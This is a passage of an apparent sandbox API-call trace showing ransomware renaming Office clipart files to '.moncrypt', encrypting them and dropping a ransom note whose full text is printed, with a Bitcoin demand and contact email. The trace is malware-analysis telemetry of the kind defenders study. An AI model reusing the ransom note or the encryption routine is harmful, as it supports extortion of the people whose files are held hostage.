lpMultiByteStr="6í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0060.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.631] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0060.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF", lpUsedDefaultChar=0x0) returned 63 [0060.632] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0060.632] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN04269_.WMF", lpUsedDefaultChar=0x0) returned 4 [0060.632] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04269_.WMF", cAlternateFileName="")) returned 0x54e240 [0060.632] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0060.632] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0060.632] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF", dwFileAttributes=0x20) returned 1 [0060.633] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0060.633] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.moncrypt")) returned 1 [0060.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.634] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.634] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x7e0 [0060.634] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.634] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x7e0, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18ea34*=0x7e0, lpOverlapped=0x0) returned 1 [0060.635] GlobalLock (hMem=0x440004) returned 0x550170 [0060.635] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.635] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.635] GlobalUnlock (hMem=0x440004) returned 0 [0060.636] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.636] GlobalUnlock (hMem=0x44000c) returned 0 [0060.636] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.636] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.636] GlobalUnlock (hMem=0x44000c) returned 0 [0060.636] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0060.636] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x800, lpOverlapped=0x0) returned 1 [0060.636] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0060.636] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0060.649] WriteFile (in: hFile=0x188, lpBuffer=0x1d7d8d8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1d7d8d8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0060.649] CloseHandle (hObject=0x188) returned 1 [0060.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.654] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0060.654] CloseHandle (hObject=0x188) returned 1 [0060.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0060.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0060.654] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.654] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.654] GlobalUnlock (hMem=0x44000c) returned 0 [0060.654] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.655] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.655] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.655] GlobalUnlock (hMem=0x44000c) returned 0 [0060.655] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.655] GlobalUnlock (hMem=0x440004) returned 0 [0060.655] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0060.655] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0060.656] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0060.656] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0060.656] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.656] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.656] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.656] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.656] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.656] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.657] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.657] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0060.657] CloseHandle (hObject=0x188) returned 1 [0060.657] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04323_.WMF", cAlternateFileName="")) returned 1 [0060.657] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0060.657] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0060.657] GlobalLock (hMem=0x440004) returned 0x550170 [0060.657] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.657] GlobalUnlock (hMem=0x440004) returned 0 [0060.657] GlobalLock (hMem=0x440004) returned 0x550170 [0060.657] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.657] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.657] GlobalUnlock (hMem=0x440004) returned 0 [0060.657] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.657] GlobalUnlock (hMem=0x44000c) returned 0 [0060.657] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0060.658] CharLowerBuffW (in: lpsz="AN04323_.WMF", cchLength=0xc | out: lpsz="an04323_.wmf") returned 0xc [0060.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0060.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.658] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0060.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF", lpUsedDefaultChar=0x0) returned 63 [0060.658] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0060.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN04323_.WMF", lpUsedDefaultChar=0x0) returned 4 [0060.658] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04323_.WMF", cAlternateFileName="")) returned 0x54e240 [0060.659] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0060.659] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0060.659] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF", dwFileAttributes=0x20) returned 1 [0060.661] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0060.661] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.moncrypt")) returned 1 [0060.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.661] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.661] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x9bc [0060.661] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.661] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x9bc, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18ea34*=0x9bc, lpOverlapped=0x0) returned 1 [0060.663] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.663] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.663] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.663] GlobalUnlock (hMem=0x44000c) returned 0 [0060.663] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.663] GlobalUnlock (hMem=0x440004) returned 0 [0060.663] GlobalLock (hMem=0x440004) returned 0x550170 [0060.663] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.663] GlobalUnlock (hMem=0x440004) returned 0 [0060.664] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0060.664] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9d0, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9d0, lpOverlapped=0x0) returned 1 [0060.664] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0060.664] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0060.676] WriteFile (in: hFile=0x188, lpBuffer=0x1d7d8d8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1d7d8d8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0060.676] CloseHandle (hObject=0x188) returned 1 [0060.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.677] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0060.677] CloseHandle (hObject=0x188) returned 1 [0060.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0060.678] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0060.678] GlobalLock (hMem=0x440004) returned 0x550170 [0060.678] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.678] GlobalUnlock (hMem=0x440004) returned 0 [0060.678] GlobalLock (hMem=0x440004) returned 0x550170 [0060.678] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.678] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.678] GlobalUnlock (hMem=0x440004) returned 0 [0060.678] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.678] GlobalUnlock (hMem=0x44000c) returned 0 [0060.678] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0060.678] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0060.678] 